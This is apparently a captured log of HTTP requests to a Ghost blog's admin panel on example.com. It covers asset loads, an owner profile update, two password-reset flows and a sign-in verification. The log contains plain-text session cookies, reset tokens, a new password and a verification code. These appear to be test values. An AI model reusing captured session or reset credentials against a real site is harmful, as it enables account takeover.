{"method": "GET", "target": "/ghost/assets/use-upgrade-route-B5f80QZK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/use-setting-group-D5TMKznJ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/color-picker-field-D4rsXzSv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/color-picker-cL1FE5QD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/debounce-CmSZqU2N.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/header-image-field-Dcw8joEW.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/icon-toggle-group-CRIhZEDY.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/color-utils-DPZ_D9rj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/use-pintura-editor-Ba4OMh5s.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/analytics-Cnmm84rB.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/use-check-theme-limit-error-cdxVti9_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/use-query-params-Db2_7OQG.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/stripe-button-B_jqNRxG.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/tier-detail-preview-BQcFMMKy.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/use-url-input-BYvhvRBx.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/format-url-AXIF9pWF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/users/6af4570fd281b00001a59891/?include=roles", "headers": ["Host: example.com", "Content-Length: 1369", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": "{\"users\":[{\"id\":\"6af4570fd281b00001a59891\",\"name\":\"Alice Example\",\"slug\":\"alice\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":null,\"website\":null,\"location\":null,\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"whatsNew\\\":{\\\"lastSeenDate\\\":\\\"2026-11-11T11:54:12.801Z\\\"},\\\"nightShift\\\":\\\"system\\\",\\\"onboarding\\\":{\\\"completedSteps\\\":[],\\\"checklistState\\\":\\\"started\\\",\\\"startedAt\\\":\\\"2026-11-11T11:54:12.758Z\\\"},\\\"navigation\\\":{\\\"expanded\\\":{\\\"posts\\\":true,\\\"members\\\":true},\\\"menu\\\":{\\\"visible\\\":true}}}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-11T11:54:12.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:54:12.000Z\",\"roles\":[{\"id\":\"6af4570fd281b00001a59896\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:52:47.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/signin-DyvUc-9g.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/authentication/password_reset/", "headers": ["Host: example.com", "Content-Length: 50", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"password_reset\":[{\"email\":\"alice@example.com\"}]}"}
|
||||||
|
{"method": "GET", "target": "/ghost/reset/MTc5NDQ4NDU2OTEzMnxhbGljZUBleGFtcGxlLmNvbXw0K05heDREb1JvdDJ0eFRKOGZ3cWJQNGlNS2NLSU1LMHJCZmoyT0xXcHdVPQ/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/reset-CSFWz6q9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/reset/MTc5NDQ4NDU4MTQyOHxhbGljZUBleGFtcGxlLmNvbXxhaEY2WkdnSCtjVi81dVZUbHZDSnI4OFI1SkRRUC9nRnIxVXBvS3hwMExJPQ/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/authentication/password_reset/", "headers": ["Host: example.com", "Content-Length: 205", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"password_reset\":[{\"token\":\"MTc5NDQ4NDU4MTQyOHxhbGljZUBleGFtcGxlLmNvbXxhaEY2WkdnSCtjVi81dVZUbHZDSnI4OFI1SkRRUC9nRnIxVXBvS3hwMExJPQ\",\"newPassword\":\"Hv4-mQz8-Lr2x-Tp9w\",\"ne2Password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/overview-BDaNMWAn.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/post-utils-BquGrXlP.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/post-helpers-LZp03sYO.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/date-utils-z22LS7qM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/date-range-select-BlnphfjU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/card-DPXlaRvx.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/gh-chart-BI-8tErJ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/chart-Cf6NuIj-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/pagemenu-65l5c8WQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/kpi-card-CHygnBnv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/trend-badge-wNKjMxTt.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/stats-view-BK_XhwrN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/list-page-CnIBL9cj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/use-analytics-data-D2HOTQf5.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/use-growth-stats-Bgr_JFJl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/audience-CXSF0dEC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/url-helpers-mynMXAVw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/post-share-modal-If8BRdxt.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/feature-image-placeholder-CS1tmsUg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ABHrYqx2hID4h92G5MJh4cy9cjLS3wTrs.BHMJItlhhXpKVZ4%2FUakoderizv5dZvSCE85zScGSANM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/reset/MTc5NDQ4NDYxOTgyOXxhbGljZUBleGFtcGxlLmNvbXxDSkJhVE1BU3RrYmFWTE90ZG1sMjlrbk5LOUk0WS9yU3BmQXRZZEFSZTFnPQ/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/authentication/password_reset/", "headers": ["Host: example.com", "Content-Length: 205", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"password_reset\":[{\"token\":\"MTc5NDQ4NDYxOTgyOXxhbGljZUBleGFtcGxlLmNvbXxDSkJhVE1BU3RrYmFWTE90ZG1sMjlrbk5LOUk0WS9yU3BmQXRZZEFSZTFnPQ\",\"newPassword\":\"Hv4-mQz8-Lr2x-Tp9w\",\"ne2Password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/signin-verify-Bf6SrUvA.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/session/verify/", "headers": ["Host: example.com", "Content-Length: 18", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"token\":\"172997\"}"}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/snippets/?limit=all&formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
